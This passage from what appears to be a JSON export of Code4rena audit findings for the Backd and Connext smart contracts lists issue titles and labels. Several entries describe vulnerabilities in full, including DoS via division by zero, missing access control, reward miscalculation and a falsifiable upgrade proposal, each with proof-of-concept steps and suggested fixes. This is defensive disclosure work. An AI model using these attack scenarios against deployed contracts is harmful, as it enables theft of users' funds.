non-strategy so that strategy can't move funds to non-strategy. Method 2 is to update StakerVault.strategiesTotalStaked and StakerVault._poolTotalStaked correctly so that strategy won't claim more rewards than he should even though he claims rewards using non-strategy. Method 1. You need to modify two functions. StakerVault.transfer(), StakerVault.transferFrom(). 1. You need to add this require() at L112 for transfer(). require(strategies[msg.sender] == strategies[account], Error.FAILED_TRANSFER); 2. You need to add this require() at L144 for transferFrom(). require(strategies[src] == strategies[dst], Error.FAILED_TRANSFER); Method 2. I've explained about this method in my medium risk report \"StakerVault.unstake(), StakerVault.unstakeFor() would revert with a uint underflow error of StakerVault.strategiesTotalStaked, StakerVault._poolTotalStaked\" I will copy the same code for your convenience. You need to modify 3 functions. StakerVault.addStrategy(), StakerVault.transfer(), StakerVault.transferFrom(). 1. You need to move staked amount from StakerVault._poolTotalStaked to StakerVault.strategiesTotalStaked every time when StakerVault.inflationManager approves a new strategy. You can modify addStrategy() at L98-L102 like this. function addStrategy(address strategy) external override returns (bool) { \u00a0 \u00a0 require(msg.sender == address(inflationManager), Error.UNAUTHORIZED_ACCESS); \u00a0 \u00a0 require(!strategies[strategy], Error.ADDRESS_ALREADY_SET); \u00a0 \u00a0 strategies[strategy] = true; \u00a0 \u00a0 _poolTotalStaked -= balances[strategy]; \u00a0 \u00a0 strategiesTotalStaked += balances[strategy]; \u00a0 \u00a0 return true; } 2. You need to add below code at L126 of transfer() function. if(strategies[msg.sender] != strategies[account]) { \u00a0 \u00a0 if(strategies[msg.sender]) { // from strategy to non-strategy \u00a0 \u00a0 \u00a0 \u00a0 _poolTotalStaked += amount; \u00a0 \u00a0 \u00a0 \u00a0 strategiesTotalStaked -= amount; \u00a0 \u00a0 } \u00a0 \u00a0 else { // from non-strategy to strategy \u00a0 \u00a0 \u00a0 \u00a0 _poolTotalStaked -= amount; \u00a0 \u00a0 \u00a0 \u00a0 strategiesTotalStaked += amount; \u00a0 \u00a0 } } 3. You need to add below code at L170 of transferFrom() function. if(strategies[src] != strategies[dst]) { \u00a0 \u00a0 if(strategies[src]) { // from strategy to non-strategy \u00a0 \u00a0 \u00a0 \u00a0 _poolTotalStaked += amount; \u00a0 \u00a0 \u00a0 \u00a0 strategiesTotalStaked -= amount; \u00a0 \u00a0 } \u00a0 \u00a0 else { // from non-strategy to strategy \u00a0 \u00a0 \u00a0 \u00a0 _poolTotalStaked -= amount; \u00a0 \u00a0 \u00a0 \u00a0 strategiesTotalStaked += amount; \u00a0 \u00a0 } } "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Potential DoS when removing keeper gauge", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/InflationManager.sol#L609-L618 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L82 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/actions/topup/TopUpActionFeeHandler.sol#L95-L98 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/actions/topup/TopUpAction.sol#L807 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/actions/topup/TopUpAction.sol#L653 # Vulnerability details ## Impact When `_removeKeeperGauge` is called, there is no guarantee that the keeper gauge isn't currently in use by any `TopUpActionFeeHandler`. If it's still in use, any top up action executions will be disabled as reporting fees in `KeeperGauge.sol` will revert: ``` function reportFees( address beneficiary, uint256 amount, address lpTokenAddress ) external override returns (bool) { ... require(!killed, Error.CONTRACT_PAUSED); // gauge is killed by InflationManager ... return true; } ``` If this happened during extreme market movements, some positions that require a top up will not be executed and be in risk of being liquidated. ## Proof of Concept - Alice registers a top up action. - Governance calls `InflationManager.removeKeeperGauge`, replacing an old keeper gauge. However, governance forgot to call `TopUpActionFeeHandler.prepareKeeperGauge` so `TopUpActionFeeHandler.getKeeperGauge` still points to the killed gauge. - Market moved and Alice's position should now be executed by keepers, however any attempt to execute will revert: ``` > Keeper calls TopUpAction.execute(); > _payFees(); > IActionFeeHandler(feeHandler).payFees(); > IKeeperGauge(keeperGauge).reportFees(); > reverts as gauge is already killed ``` - Governance noticed and calls `prepareKeeperGauge` with a 3 days delay. - Alice's position got liquidated before the change is executed. ## Recommended Mitigation Steps Consider adding an on-chain check to ensure that the keeper gauge is not in use before removing them. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Having no clear path to define ```totalLpPoolWeight``` and initially set ```totalLpPoolWeight``` to zero maybe problematic for the protocol ", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Having no clear path to define ```totalLpPoolWeight``` and initially set ```totalLpPoolWeight``` to zero maybe problematic for the protocol "}, {"title": "AmmGauge stakeFor/unstakeFor allow for reentrancy that can lead to stealing the whole contract balance", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "AmmGauge stakeFor/unstakeFor allow for reentrancy that can lead to stealing the whole contract balance"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Missing access control in non-batched InflationManager execute funtions", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/56", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/InflationManager.sol#L145-L155 https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/InflationManager.sol#L236-L249 https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/InflationManager.sol#L321-L330 # Vulnerability details ## Impact Several actions need to be prepared and go through a time-lock before they can be executed. `InflationManager` allows anyone to call the single action execute function but requires `onlyRoles2(Roles.GOVERNANCE, Roles.INFLATION_MANAGER)` for the batched versions. This looks like an oversight since the same access control level should be enforced. For example, the `executeLpPoolWeight` function allows anyone to call it: https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/InflationManager.sol#L241-L249 ``` function executeLpPoolWeight(address lpToken) external override returns (uint256) { (...) } ``` But the batched version enforces the caller to have `GOVERNANCE` or `INFLATION_MANAGER` roles: https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/InflationManager.sol#L284-L301 ``` function batchExecuteLpPoolWeights(address[] calldata lpTokens) external override onlyRoles2(Roles.GOVERNANCE, Roles.INFLATION_MANAGER) returns (bool) { ``` The same happens in `executeAmmTokenWeight` versus `batchExecuteAmmTokenWeights` , as well as `executeKeeperPoolWeight` versus `batchExecuteKeeperPoolWeights`. If only trusted roles should be able to execute pending actions then the `onlyRoles` modifier should be added to the non-batched functions. Scenarios where you would not want to allow anyone to execute could include potential votes/changes that may trigger a bug or undesired behavior noticed after it had already been approved. ## Tools Used vim ## Recommended Mitigation Steps Enforce the proper access control mechanism in non-batched execute functions. "}, {"title": "KeeperGauge: When the Gauge is killed, the epoch can continue to increase, which may DOS the claimRewards function", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/51", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L157-L161 # Vulnerability details ## Impact When the Gauge is killed, the advanceEpoch and kill functions can still be called to make epoch+1, while the reportFees function cannot be called to update the value of perPeriodTotalFees, which will cause perPeriodTotalFees[epoch] == 0. Later if the user calls the claimRewards function, the default epoch parameter will cause a divide by zero crash in the code below. ```` for (uint256 i = startEpoch; i < endEpoch; i = i.uncheckedInc()) { totalClaimable += ( keeperRecords[beneficiary].feesInPeriod[i].scaledDiv(perPeriodTotalFees[i]) ).scaledMul(perPeriodTotalInflation[i]); } ```` ## Proof of Concept https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L157-L161 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L96-L100 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L57-L62 ## Tools Used None ## Recommended Mitigation Steps Require killed to be false in poolCheckpoint function ``` function poolCheckpoint() public override returns (bool) { - if (killed) return false; + require(!killed); uint256 timeElapsed = block.timestamp - uint256(lastUpdated); uint256 currentRate = IController(controller).inflationManager().getKeeperRateForPool(pool); perPeriodTotalInflation[epoch] += currentRate * timeElapsed; lastUpdated = uint48(block.timestamp); return true; } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Amount distributed can be inaccurate when updating weights ", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/Minter.sol#L220 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/InflationManager.sol#L559 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/InflationManager.sol#L572 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/InflationManager.sol#L586 # Vulnerability details ## Impact When updating pool inflation rates, other pools see their `currentRate` being modified without having `poolCheckpoint` called, which leads to false computations. This will lead to either users losing a part of their claims, but can also lead to too many tokens could be distributed, preventing some users from claiming due to the `totalAvailableToNow` requirement in `Minter`. ## Proof of concept Imagine you have 2 AMM pools A and B, both with an `ammPoolWeight` of 100, where `poolCheckpoint` has not been called for a moment. Then, imagine calling [`executeAmmTokenWeight`](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/InflationManager.sol#L318) to reduce the weight of A to 0. Only A is checkpointed [here](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/InflationManager.sol#L591), so when B will be checkpointed it will call `getAmmRateForToken`, which will see a pool weight of 100 and a total weight of 100 over the whole period since the last checkpoint of B, which is false, therefore it will distribute too many tokens. This is critical has the minter expects an exact or lower than expected distribution due to the requirement of `totalAvailableToNow`. In the opposite direction, when increasing weights, it will lead to less tokens being distributed in some pools than planned, leading to a loss for users. ## Mitigation steps Checkpoint every `LpStakerVault`, `KeeperGauge` or `AmmGauge` when updating the weights of one of them. "}, {"title": "Total Supply is not guaranteed and is not deterministic.", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/46", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/Minter.sol#L181 # Vulnerability details ## Impact The actual total supply of the token is random and depends on when `_executeInflationRateUpdate` is executed. ## Proof of concept The `README` and tokenomic documentation clearly states that \u201cThe token supply is limited to a total of\u00a0268435456\u00a0tokens.\u201d. However when executing [`_executeInflationRateUpdate`](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/tokenomics/Minter.sol#L181), it first uses the current inflation rate to update the total available before checking if it needs to be reduced. Therefore if no one mints or calls `executeInflationRateUpdate` for some time around the decay point, the inflation will be updated using the previous rate so the `totalAvailableToNow` will grow too much. ## Mitigation steps You should do ```js\u2028 totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastEvent)); ``` Only if the condition `block.timestamp >= lastInflationDecay + _INFLATION_DECAY_PERIOD` is false. Otherwise you should do ```js\u2028 totalAvailableToNow += (currentTotalInflation * (lastInflationDecay + _INFLATION_DECAY_PERIOD - lastEvent));\u2028 ``` Then update the rates, then complete with ```js\u2028 totalAvailableToNow += (currentTotalInflation * (block.timestamp - lastInflationDecay + _INFLATION_DECAY_PERIOD));\u2028 ``` Note that as all these variables are either constants either already loaded in memory this is super cheap to do. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "FeeBurner initiates swap without any slippage checks if Chainlink oracle fails ", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "FeeBurner initiates swap without any slippage checks if Chainlink oracle fails "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "DoS on KeeperGauge due to division by zero", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/KeeperGauge.sol#L151-L164 # Vulnerability details ## Impact In the **_calcTotalClaimable()** function it should be validated that perPeriodTotalFees[i] != 0 since otherwise it would generate a DoS in **claimableRewards()** and **claimRewards()**. This would be possible since if **advanceEpoch()** or **kill()** is executed by the InflationManager address, the epoch will go up without perPeriodTotalFees[newIndexEpoch] is 0. The negative of this is that every time the **InflationManager** executes these two methods (**kill() and advanceEpoch()**) DoS is generated until you run **reportFees()**. Another possible case is that **kill()** or **advanceEpoch()** are executed 2 times in a row and there is no way of a perPeriodTotalFees[epoch-1] updating its value, therefore it would be an irreversible DoS. ## Recommended Mitigation Steps Generate a behavior for the case that perPeriodTotalFees[i] == 0. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "User rewards would be lost", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/12", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/tokenomics/AmmGauge.sol#L103 # Vulnerability details ## Impact Staking is not stopped even when Gauge is killed. User will not be getting any reward for the staked asset. ## Proof of Concept 1. Assume the AMMGauge is killed using kill function (AmmGauge.sol#L49). This sets killed as true 2. poolCheckpoint will not further increase ammStakedIntegral and would simply return false ``` function poolCheckpoint() public virtual override returns (bool) { if (killed) { return false; } ... } ``` 3. User calls stakeFor function and is still able to stake amount. 4. The drawback will be no rewards as poolCheckpoint will only return false and will not update ammStakedIntegral ## Recommended Mitigation Steps Add below check in stakeFor function, restricting deposit if Gauge is killed ``` require(!killed, \"Gauge killed\"); ``` "}, {"title": "BkdLocker depositFees can be blocked", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-backd/blob/main/protocol/contracts/RewardHandler.sol#L50 # Vulnerability details ## Impact burnFees will fail if none of the pool tokens have underlying token as native ETH token. This is shown below. Since burnFees fails so no fees is deposited in BKDLocker ## Proof of Concept 1. Assume RewardHandler.sol has currently amount 5 as address(this).balance (ethBalance) (even attacker can send a small balance to this contract to do this dos attack) 2. None of the pools have underlying as address(0) so no ETH tokens and only ERC20 tokens are present 3. Now feeBurner.burnToTarget is called passing current ETH balance of amount 5 with all pool tokens 4. feeBurner loops through all tokens and swap them to WETH. Since none of the token is ETH so burningEth_ variable is false 5. Now the below require condition fails since burningEth_ is false ``` require(burningEth_ || msg.value == 0, Error.INVALID_VALUE); ``` 6. This fails the burnFees function. ## Recommended Mitigation Steps ETH should not be sent if none of pool underlying token is ETH. Change it to something like below: ``` bool ethFound=false; for (uint256 i; i < pools.length; i = i.uncheckedInc()) { ILiquidityPool pool = ILiquidityPool(pools[i]); address underlying = pool.getUnderlying(); if (underlying != address(0)) { _approve(underlying, address(feeBurner)); } else { ethFound=true; } tokens[i] = underlying; } if(ethFound){ feeBurner.burnToTarget{value: ethBalance}(tokens, targetLpToken); } else { feeBurner.burnToTarget(tokens, targetLpToken); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "Not following the Checks-Effects-Interactions pattern", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-backd-findings", "body": "Not following the Checks-Effects-Interactions pattern"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-backd-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/271", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/265", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/264", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/261", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Swaps done internally will be not be possible", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/249", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/BridgeFacet.sol#L346 https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/facets/BridgeFacet.sol#L812 # Vulnerability details Affected functions(that rely on swapAsset()) are: [https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/AssetLogic.sol#L193](https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/AssetLogic.sol#L193) [https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/AssetLogic.sol#L159](https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/AssetLogic.sol#L159) swapAsset() facilitates two swaps, either using the internal or external pool. But if an internal pool exists, a swap will be unsuccessful because the call to s.swapStorages[_canonicalId].swapInternal() takes two incorrect arguments (due to an incorrect ordering, this seemed to be an oversight, acknowledged by #Layne) : [https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/AssetLogic.sol#L278-L279](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/AssetLogic.sol#L278-L279) Based on the above mentioned code , the arguments would be incorrectly changed to : [https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/SwapUtils.sol#L744-L745](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/SwapUtils.sol#L744-L745) The condition checked here: [https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/SwapUtils.sol#L750](https://github.com/code-423n4/2022-06-connext/blob/b4532655071566b33c41eac46e75be29b4a381ed/contracts/contracts/core/connext/libraries/SwapUtils.sol#L750) will never be true as the msg.sender would never own the quantity of tokens being swapped from since it's the wrong token. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Diamond upgrade proposition can be falsified", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/241", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/DiamondCutFacet.sol#L16-L29 https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L94-L118 https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibDiamond.sol#L222-L240 # Vulnerability details ## Impact Diamond is to be upgraded after a certain delay to give time to the community to verify changes made by the developers. If the proposition can be falsified, the contract admins can exploit the contract in any way of their choice. ## Proof of Concept To determine the id of the proposal, only its facet changes are hashed, skipping two critical pieces of data - the `_init` and `_calldata`. During a diamond upgrade, devs can choose what code will be executed **by the contract using a delegatecall**. Thus, they can make the contract perform **any** actions of their choice. ## Tools Used Manual analysis ## Recommended Mitigation Steps Add `_init` and `_calldata` to the proposition hash. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "in reimburseLiquidityFees() of SponserVault contract swaps tokens without slippage limit so its possible to perform sandwich attack and it create MEV", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/237", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "in reimburseLiquidityFees() of SponserVault contract swaps tokens without slippage limit so its possible to perform sandwich attack and it create MEV"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Malicious relayer could exploit sponsor vaults", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/234", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-06-connext-findings", "body": "Malicious relayer could exploit sponsor vaults"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "resolved"], 